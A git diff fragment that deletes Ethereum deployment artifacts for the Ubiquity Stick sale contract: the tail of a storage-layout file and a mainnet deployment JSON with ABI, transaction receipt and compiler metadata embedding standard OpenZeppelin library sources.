"key": "t_address", - "label": "mapping(address => mapping(uint256 => uint256))", - "numberOfBytes": "32", - "value": "t_mapping(t_uint256,t_uint256)" - }, - "t_mapping(t_address,t_uint256)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_mapping(t_uint256,t_address)": { - "encoding": "mapping", - "key": "t_uint256", - "label": "mapping(uint256 => address)", - "numberOfBytes": "32", - "value": "t_address" - }, - "t_mapping(t_uint256,t_bool)": { - "encoding": "mapping", - "key": "t_uint256", - "label": "mapping(uint256 => bool)", - "numberOfBytes": "32", - "value": "t_bool" - }, - "t_mapping(t_uint256,t_uint256)": { - "encoding": "mapping", - "key": "t_uint256", - "label": "mapping(uint256 => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_string_storage": { - "encoding": "bytes", - "label": "string", - "numberOfBytes": "32" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/ubiquistick/deployments/mainnet/TheUbiquityStickSale.json b/packages/contracts/ubiquistick/deployments/mainnet/TheUbiquityStickSale.json deleted file mode 100644 index 8f43ddfb9..000000000 --- a/packages/contracts/ubiquistick/deployments/mainnet/TheUbiquityStickSale.json +++ /dev/null @@ -1,437 +0,0 @@ -{ - "address": "0x035e4568F2738917512E4222A8837ad22d21BB1d", - "abi": [ - { - "inputs": [], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "count", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "price", - "type": "uint256" - } - ], - "name": "Mint", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "previousOwner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "newOwner", - "type": "address" - } - ], - "name": "OwnershipTransferred", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "unspent", - "type": "uint256" - } - ], - "name": "Payback", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "address", - "name": "token", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "Withdraw", - "type": "event" - }, - { - "inputs": [], - "name": "MAXIMUM_PER_TX", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "MAXIMUM_SUPPLY", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_address", - "type": "address" - } - ], - "name": "allowance", - "outputs": [ - { - "internalType": "uint256", - "name": "count", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "price", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address[]", - "name": "_addresses", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "_counts", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "_prices", - "type": "uint256[]" - } - ], - "name": "batchSetAllowances", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "fundsAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "owner", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "renounceOwnership", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_address", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_count", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_price", - "type": "uint256" - } - ], - "name": "setAllowance", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_address", - "type": "address" - } - ], - "name": "setFundsAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_newTokenContract", - "type": "address" - } - ], - "name": "setTokenContract", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "tokenContract", - "outputs": [ - { - "internalType": "contract ITheUbiquityStick", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "newOwner", - "type": "address" - } - ], - "name": "transferOwnership", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "withdraw", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "stateMutability": "payable", - "type": "receive" - } - ], - "transactionHash": "0x719cef6edaa372ee73ddda2d78f51c9a39c74cc694e9f6494a4979eb7f604601", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x035e4568F2738917512E4222A8837ad22d21BB1d", - "transactionIndex": 219, - "gasUsed": "844076", - "logsBloom": "0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000800000000000000000000000000004000000000010000000000000000000000000000000000000001000000000000000000000000000000100000020000000000001000000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0xf9bf3726353df84fb153b6e3aad7c1c3b177f059031fdef2e7ad82c97cbf41a4", - "transactionHash": "0x719cef6edaa372ee73ddda2d78f51c9a39c74cc694e9f6494a4979eb7f604601", - "logs": [ - { - "transactionIndex": 219, - "blockNumber": 13856890, - "transactionHash": "0x719cef6edaa372ee73ddda2d78f51c9a39c74cc694e9f6494a4979eb7f604601", - "address": "0x035e4568F2738917512E4222A8837ad22d21BB1d", - "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" - ], - "data": "0x", - "logIndex": 262, - "blockHash": "0xf9bf3726353df84fb153b6e3aad7c1c3b177f059031fdef2e7ad82c97cbf41a4" - } - ], - "blockNumber": 13856890, - "cumulativeGasUsed": "14943852", - "status": 1, - "byzantium": true - }, - "args": [], - "solcInputHash": "8bf0ab27bd8c6fd331076a683753223e", - "metadata": "{\"compiler\":{\"version\":\"0.8.9+commit.e5eed63a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"count\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"price\",\"type\":\"uint256\"}],\"name\":\"Mint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"unspent\",\"type\":\"uint256\"}],\"name\":\"Payback\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"Withdraw\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"MAXIMUM_PER_TX\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"MAXIMUM_SUPPLY\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_address\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"count\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"price\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address[]\",\"name\":\"_addresses\",\"type\":\"address[]\"},{\"internalType\":\"uint256[]\",\"name\":\"_counts\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"_prices\",\"type\":\"uint256[]\"}],\"name\":\"batchSetAllowances\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"fundsAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_address\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_count\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_price\",\"type\":\"uint256\"}],\"name\":\"setAllowance\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_address\",\"type\":\"address\"}],\"name\":\"setFundsAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_newTokenContract\",\"type\":\"address\"}],\"name\":\"setTokenContract\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"tokenContract\",\"outputs\":[{\"internalType\":\"contract ITheUbiquityStick\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"withdraw\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/TheUbiquityStickSale.sol\":\"TheUbiquityStickSale\"},\"evmVersion\":\"london\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":200},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/Ownable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which provides a basic access control mechanism, where\\n * there is an account (an owner) that can be granted exclusive access to\\n * specific functions.\\n *\\n * By default, the owner account will be the one that deploys the contract. This\\n * can later be changed with {transferOwnership}.\\n *\\n * This module is used through inheritance. It will make available the modifier\\n * `onlyOwner`, which can be applied to your functions to restrict their use to\\n * the owner.\\n */\\nabstract contract Ownable is Context {\\n address private _owner;\\n\\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\\n\\n /**\\n * @dev Initializes the contract setting the deployer as the initial owner.\\n */\\n constructor() {\\n _transferOwnership(_msgSender());\\n }\\n\\n /**\\n * @dev Returns the address of the current owner.\\n */\\n function owner() public view virtual returns (address) {\\n return _owner;\\n }\\n\\n /**\\n * @dev Throws if called by any account other than the owner.\\n */\\n modifier onlyOwner() {\\n require(owner() == _msgSender(), \\\"Ownable: caller is not the owner\\\");\\n _;\\n }\\n\\n /**\\n * @dev Leaves the contract without owner. It will not be possible to call\\n * `onlyOwner` functions anymore. Can only be called by the current owner.\\n *\\n * NOTE: Renouncing ownership will leave the contract without an owner,\\n * thereby removing any functionality that is only available to the owner.\\n */\\n function renounceOwnership() public virtual onlyOwner {\\n _transferOwnership(address(0));\\n }\\n\\n /**\\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\\n * Can only be called by the current owner.\\n */\\n function transferOwnership(address newOwner) public virtual onlyOwner {\\n require(newOwner != address(0), \\\"Ownable: new owner is the zero address\\\");\\n _transferOwnership(newOwner);\\n }\\n\\n /**\\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\\n * Internal function without access restriction.\\n */\\n function _transferOwnership(address newOwner) internal virtual {\\n address oldOwner = _owner;\\n _owner = newOwner;\\n emit OwnershipTransferred(oldOwner, newOwner);\\n }\\n}\\n\",\"keccak256\":\"0x24e0364e503a9bbde94c715d26573a76f14cd2a202d45f96f52134ab806b67b9\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/ReentrancyGuard.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Contract module that helps prevent reentrant calls to a function.\\n *\\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\\n * available, which can be applied to functions to make sure there are no nested\\n * (reentrant) calls to them.\\n *\\n * Note that because there is a single `nonReentrant` guard, functions marked as\\n * `nonReentrant` may not call one another. This can be worked around by making\\n * those functions `private`, and then adding `external` `nonReentrant` entry\\n * points to them.\\n *\\n * TIP: If you would like to learn more about reentrancy and alternative ways\\n * to protect against it, check out our blog post\\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\\n */\\nabstract contract ReentrancyGuard {\\n // Booleans are more expensive than uint256 or any type that takes up a full\\n // word because each write operation emits an extra SLOAD to first read the\\n // slot's contents, replace the bits taken up by the boolean, and then write\\n // back. This is the compiler's defense against contract upgrades and\\n // pointer aliasing, and it cannot be disabled.\\n\\n // The values being non-zero value makes deployment a bit more expensive,\\n // but in exchange the refund on every call to nonReentrant will be lower in\\n // amount. Since refunds are capped to a percentage of the total\\n // transaction's gas, it is best to keep them low in cases like this one, to\\n // increase the likelihood of the full refund coming into effect.\\n uint256 private constant _NOT_ENTERED = 1;\\n uint256 private constant _ENTERED = 2;\\n\\n uint256 private _status;\\n\\n constructor() {\\n _status = _NOT_ENTERED;\\n }\\n\\n /**\\n * @dev Prevents a contract from calling itself, directly or indirectly.\\n * Calling a `nonReentrant` function from another `nonReentrant`\\n * function is not supported. It is possible to prevent this from happening\\n * by making the `nonReentrant` function external, and making it call a\\n * `private` function that does the actual work.\\n */\\n modifier nonReentrant() {\\n // On the first call to nonReentrant, _notEntered will be true\\n require(_status != _ENTERED, \\\"ReentrancyGuard: reentrant call\\\");\\n\\n // Any calls to nonReentrant after this point will fail\\n _status = _ENTERED;\\n\\n _;\\n\\n // By storing the original value once again, a refund is triggered (see\\n // https://eips.ethereum.org/EIPS/eip-2200)\\n _status = _NOT_ENTERED;\\n }\\n}\\n\",\"keccak256\":\"0x0e9621f60b2faabe65549f7ed0f24e8853a45c1b7990d47e8160e523683f3935\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0x61437cb513a887a1bbad006e7b1c8b414478427d33de47c5600af3c748f108da\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(\\n IERC20 token,\\n address to,\\n uint256 value\\n ) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(\\n IERC20 token,\\n address from,\\n address to,\\n uint256 value\\n ) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n require(\\n (value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) {\\n // Return data is optional\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0xc3d946432c0ddbb1f846a0d3985be71299df331b91d06732152117f62f0be2b5\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n assembly {\\n size := extcodesize(account)\\n }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n (bool success, ) = recipient.call{value: amount}(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain `call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.call{value: value}(data);\\n return verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\\n * revert reason using the provided one.\\n *\\n * _Available since v4.3._\\n */\\n function verifyCallResult(\\n bool success,\\n bytes memory returndata,\\n string memory errorMessage\\n ) internal pure returns (bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x51b758a8815ecc9596c66c37d56b1d33883a444631a3f916b9fe65cb863ef7c4\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\"},\"contracts/TheUbiquityStickSale.sol\":{\"content\":\"// SPDX-License-Identifier: 